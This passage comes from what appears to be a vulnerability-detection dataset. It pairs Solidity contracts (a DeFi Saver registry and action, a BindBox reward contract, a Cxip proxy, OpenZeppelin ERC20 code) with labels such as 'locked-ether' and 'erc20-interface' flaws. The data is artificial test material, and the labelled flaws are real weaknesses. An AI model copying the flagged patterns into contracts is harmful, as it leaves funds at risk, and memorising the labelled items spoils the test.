uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MainnetAuthAddresses {
address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR
}
contract AuthHelper is MainnetAuthAddresses {
}
contract AdminVault is AuthHelper {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = ADMIN_ADDR;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
contract AdminAuth is AuthHelper {
using SafeERC20 for IERC20;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DFSRegistry is AdminAuth {
error EntryAlreadyExistsError(bytes4);
error EntryNonExistentError(bytes4);
error EntryNotInChangeError(bytes4);
error ChangeNotReadyError(uint256,uint256);
error EmptyPrevAddrError(bytes4);
error AlreadyInContractChangeError(bytes4);
error AlreadyInWaitPeriodChangeError(bytes4);
event AddNewContract(address,bytes4,address,uint256);
event RevertToPreviousAddress(address,bytes4,address,address);
event StartContractChange(address,bytes4,address,address);
event ApproveContractChange(address,bytes4,address,address);
event CancelContractChange(address,bytes4,address,address);
event StartWaitPeriodChange(address,bytes4,uint256);
event ApproveWaitPeriodChange(address,bytes4,uint256,uint256);
event CancelWaitPeriodChange(address,bytes4,uint256,uint256);
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes4 => Entry) public entries;
mapping(bytes4 => address) public previousAddresses;
mapping(bytes4 => address) public pendingAddresses;
mapping(bytes4 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registered address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes4 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registered
/// @param _id Id of contract
function isRegistered(bytes4 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes4 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
if (entries[_id].exists){
revert EntryAlreadyExistsError(_id);
}
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod);
}
/// @notice Reverts to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes4 _id) public onlyOwner {
if (!(entries[_id].exists)){
revert EntryNonExistentError(_id);
}
if (previousAddresses[_id] == address(0)){
revert EmptyPrevAddrError(_id);
}
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
emit RevertToPreviousAddress(msg.sender, _id, currentAddr, previousAddresses[_id]);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes4 _id, address _newContractAddr) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inWaitPeriodChange){
revert AlreadyInWaitPeriodChangeError(_id);
}
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
emit StartContractChange(msg.sender, _id, entries[_id].contractAddr, _newContractAddr);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){// solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
emit ApproveContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
emit CancelContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes4 _id, uint256 _newWaitPeriod) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inContractChange){
revert AlreadyInContractChangeError(_id);
}
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){ // solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
emit ApproveWaitPeriodChange(msg.sender, _id, oldWaitTime, entries[_id].waitPeriod);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
emit CancelWaitPeriodChange(msg.sender, _id, oldWaitPeriod, entries[_id].waitPeriod);
}
}
abstract contract DSAuthority {
function canCall(
address src,
address dst,
bytes4 sig
) public view virtual returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public auth {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(address(0))) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
abstract contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) {
if (!(setCache(_cacheAddr))){
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
}
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
// use the proxy to execute calldata _data on contract _code
function execute(bytes memory _code, bytes memory _data)
public
payable
virtual
returns (address target, bytes32 response);
function execute(address _target, bytes memory _data)
public
payable
virtual
returns (bytes32 response);
//set new cache
function setCache(address _cacheAddr) public payable virtual returns (bool);
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes memory _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes memory _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
contract DefisaverLogger {
event RecipeEvent(
address indexed caller,
string indexed logName
);
event ActionDirectEvent(
address indexed caller,
string indexed logName,
bytes data
);
function logRecipeEvent(
string memory _logName
) public {
emit RecipeEvent(msg.sender, _logName);
}
function logActionDirectEvent(
string memory _logName,
bytes memory _data
) public {
emit ActionDirectEvent(msg.sender, _logName, _data);
}
}
contract MainnetActionsUtilAddresses {
address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576;
address internal constant REGISTRY_ADDR = 0x287778F121F134C66212FB16c9b53eC991D32f5b;
address internal constant DFS_LOGGER_ADDR = 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3;
}
contract ActionsUtilHelper is MainnetActionsUtilAddresses {
}
abstract contract ActionBase is AdminAuth, ActionsUtilHelper {
event ActionEvent(
string indexed logName,
bytes data
);
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
DefisaverLogger public constant logger = DefisaverLogger(
DFS_LOGGER_ADDR
);
//Wrong sub index value
error SubIndexValueError();
//Wrong return index value
error ReturnIndexValueError();
/// @dev Subscription params index range [128, 255]
uint8 public constant SUB_MIN_INDEX_VALUE = 128;
uint8 public constant SUB_MAX_INDEX_VALUE = 255;
/// @dev Return params index range [1, 127]
uint8 public constant RETURN_MIN_INDEX_VALUE = 1;
uint8 public constant RETURN_MAX_INDEX_VALUE = 127;
/// @dev If the input value should not be replaced
uint8 public constant NO_PARAM_MAPPING = 0;
/// @dev We need to parse Flash loan actions in a different way
enum ActionType { FL_ACTION, STANDARD_ACTION, FEE_ACTION, CHECK_ACTION, CUSTOM_ACTION }
/// @notice Parses inputs and runs the implemented action through a proxy
/// @dev Is called by the RecipeExecutor chaining actions together
/// @param _callData Array of input values each value encoded as bytes
/// @param _subData Array of subscribed vales, replaces input values if specified
/// @param _paramMapping Array that specifies how return and subscribed values are mapped in input
/// @param _returnValues Returns values from actions before, which can be injected in inputs
/// @return Returns a bytes32 value through DSProxy, each actions implements what that value is
function executeAction(
bytes memory _callData,
bytes32[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual returns (bytes32);
/// @notice Parses inputs and runs the single implemented action through a proxy
/// @dev Used to save gas when executing a single action directly
function executeActionDirect(bytes memory _callData) public virtual payable;
/// @notice Returns the type of action we are implementing
function actionType() public pure virtual returns (uint8);
//////////////////////////// HELPER METHODS ////////////////////////////
/// @notice Given an uint256 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamUint(
uint _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (uint) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = uint(_returnValues[getReturnIndex(_mapType)]);
} else {
_param = uint256(_subData[getSubIndex(_mapType)]);
}
}
return _param;
}
/// @notice Given an addr input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamAddr(
address _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal view returns (address) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = address(bytes20((_returnValues[getReturnIndex(_mapType)])));
} else {
/// @dev The last two values are specially reserved for proxy addr and owner addr
if (_mapType == 254) return address(this); //DSProxy address
if (_mapType == 255) return DSProxy(payable(address(this))).owner(); // owner of DSProxy
_param = address(uint160(uint256(_subData[getSubIndex(_mapType)])));
}
}
return _param;
}
/// @notice Given an bytes32 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamABytes32(
bytes32 _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (bytes32) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = (_returnValues[getReturnIndex(_mapType)]);
} else {
_param = _subData[getSubIndex(_mapType)];
}
}
return _param;
}
/// @notice Checks if the paramMapping value indicated that we need to inject values
/// @param _type Indicated the type of the input
function isReplaceable(uint8 _type) internal pure returns (bool) {
return _type != NO_PARAM_MAPPING;
}
/// @notice Checks if the paramMapping value is in the return value range
/// @param _type Indicated the type of the input
function isReturnInjection(uint8 _type) internal pure returns (bool) {
return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in return array value
/// @param _type Indicated the type of the input
function getReturnIndex(uint8 _type) internal pure returns (uint8) {
if (!(isReturnInjection(_type))){
revert SubIndexValueError();
}
return (_type - RETURN_MIN_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in sub array value
/// @param _type Indicated the type of the input
function getSubIndex(uint8 _type) internal pure returns (uint8) {
if (_type < SUB_MIN_INDEX_VALUE){
revert ReturnIndexValueError();
}
return (_type - SUB_MIN_INDEX_VALUE);
}
}
contract McdOpen is ActionBase {
struct Params {
address joinAddr;
address mcdManager;
}
/// @inheritdoc ActionBase
function executeAction(
bytes memory _callData,
bytes32[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual override returns (bytes32) {
Params memory inputData = parseInputs(_callData);
inputData.joinAddr = _parseParamAddr(inputData.joinAddr, _paramMapping[0], _subData, _returnValues);
inputData.mcdManager = _parseParamAddr(inputData.mcdManager, _paramMapping[1], _subData, _returnValues);
(uint256 newVaultId, bytes memory logData) = _mcdOpen(inputData.joinAddr, inputData.mcdManager);
emit ActionEvent("McdOpen", logData);
return bytes32(newVaultId);
}
/// @inheritdoc ActionBase
function executeActionDirect(bytes memory _callData) public payable override {
Params memory inputData = parseInputs(_callData);
(, bytes memory logData) = _mcdOpen(inputData.joinAddr, inputData.mcdManager);
logger.logActionDirectEvent("McdOpen", logData);
}
/// @inheritdoc ActionBase
function actionType() public pure virtual override returns (uint8) {
return uint8(ActionType.STANDARD_ACTION);
}
//////////////////////////// ACTION LOGIC ////////////////////////////
/// @notice Opens up an empty vault
/// @param _joinAddr Join address of the maker collateral
/// @param _mcdManager The manager address we are using
function _mcdOpen(address _joinAddr, address _mcdManager) internal returns (uint256 vaultId, bytes memory logData) {
bytes32 ilk = IJoin(_joinAddr).ilk();
vaultId = IManager(_mcdManager).open(ilk, address(this));
logData = abi.encode(vaultId, _joinAddr, _mcdManager);
}
function parseInputs(bytes memory _callData) public pure returns (Params memory params) {
params = abi.decode(_callData, (Params));
}
}
| These are the vulnerabilities found
1) erc20-interface with Medium impact
2) locked-ether with Medium impact |
// File: BindBox/MathX128.sol
pragma solidity ^0.8.7;
library MathX128 {
uint constant x128=(1<<128)-1;
uint constant oneX128=(1<<128);
function mulX128(uint l, uint r) internal pure returns(uint result) {
uint l_high=l>>128;
uint r_high=r>>128;
uint l_low=(l&x128);
uint r_low=(r&x128);
result=((l_high*r_high)<<128) + (l_high*r_low) + (r_high*l_low) + ((l_low*r_low)>>128);
}
function mulUint(uint l,uint r) internal pure returns(uint result) {
result=(l*r)>>128;
}
function toPercentage(uint numberX128,uint decimal) internal pure returns(uint result) {
numberX128*=100;
if(decimal>0){
numberX128*=10**decimal;
}
return numberX128>>128;
}
function toX128(uint percentage,uint decimal) internal pure returns(uint result) {
uint divisor=100;
if(decimal>0)
divisor*=10**decimal;
return oneX128*percentage/divisor;
}
}
// File: @openzeppelin/contracts@4.3.2/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: BindBox/IBindBoxParam.sol
pragma solidity ^0.8.9;
interface IBindBoxParam {
function reward(uint amount,uint probabilityX128,uint level) external view returns (uint);
function newUserToken() external view returns (IERC20 token,uint amount);
function newUserRewardToken(uint switchProbabilityX128,uint rewardProbabilityX128) external view returns (IERC20 token, uint amount);
}
// File: @openzeppelin/contracts@4.3.2/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts@4.3.2/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: BindBox/param/BindBoxParam.sol
pragma solidity ^0.8.9;
contract BindBoxParam is IBindBoxParam,Ownable {
uint public usdtMin;
uint public usdtMax;
uint public btcMin;
uint public btcMax;
address public btc;
address public usdt;
using MathX128 for uint;
constructor(address _btc,address _usdt) {
btc=_btc;
usdt=_usdt;
usdtMin=6*(10**6);
usdtMax=10*(10**6);
btcMin=usdtMin*100/57615;
btcMax=usdtMax*100/57615;
}
function reward(uint amount,uint probabilityX128,uint level) external pure returns (uint award) {
uint finalX128=pows(probabilityX128,2*level-1);
award=finalX128.mulUint(amount*level)+(amount*3/10);
}
function newUserToken() external view returns (IERC20 token,uint amount) {
token=IERC20(usdt);
amount=usdtMin;
}
function newUserRewardToken(uint switchProbabilityX128,uint rewardProbabilityX128) external view returns (IERC20 token, uint amount) {
uint minn;
uint maxx;
if(switchProbabilityX128.mulUint(20)==0){
token=IERC20(btc);
minn=btcMin;
maxx=btcMax;
}else{
token=IERC20(usdt);
minn=usdtMin;
maxx=usdtMax;
}
amount=rewardProbabilityX128.mulUint(maxx-minn)+minn;
}
function updateParam(uint _usdtMin,uint _usdtMax,uint _btcMin,uint _btcMax) external onlyOwner {
usdtMin=_usdtMin;
usdtMax=_usdtMax;
btcMin=_btcMin;
btcMax=_btcMax;
}
function pows(uint number,uint n) internal pure returns(uint result) {
result=MathX128.oneX128;
while(n!=0){
if((n&1)!=0){
result=result.mulX128(number);
}
n>>=1;
number=number.mulX128(number);
}
}
} | No vulnerabilities found |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
/*
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______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___
_____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_
___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_
__/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__
_\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____
_\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________
__\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________
____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________
_______\/////////__\///_______\///__\///////////__\///____________*/
import './ICxipRegistry.sol';
contract CxipIdentityProxy {
fallback () payable external {
address _target = ICxipRegistry (0xC267d41f81308D7773ecB3BDd863a902ACC01Ade).getIdentitySource ();
assembly {
calldatacopy (0, 0, calldatasize ())
let result := delegatecall (gas (), _target, 0, calldatasize (), 0, 0)
returndatacopy (0, 0, returndatasize ())
switch result
case 0 {
revert (0, returndatasize ())
}
default {
return (0, returndatasize ())
}
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.2.0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/Context.sol@v4.2.0
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.2.0
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
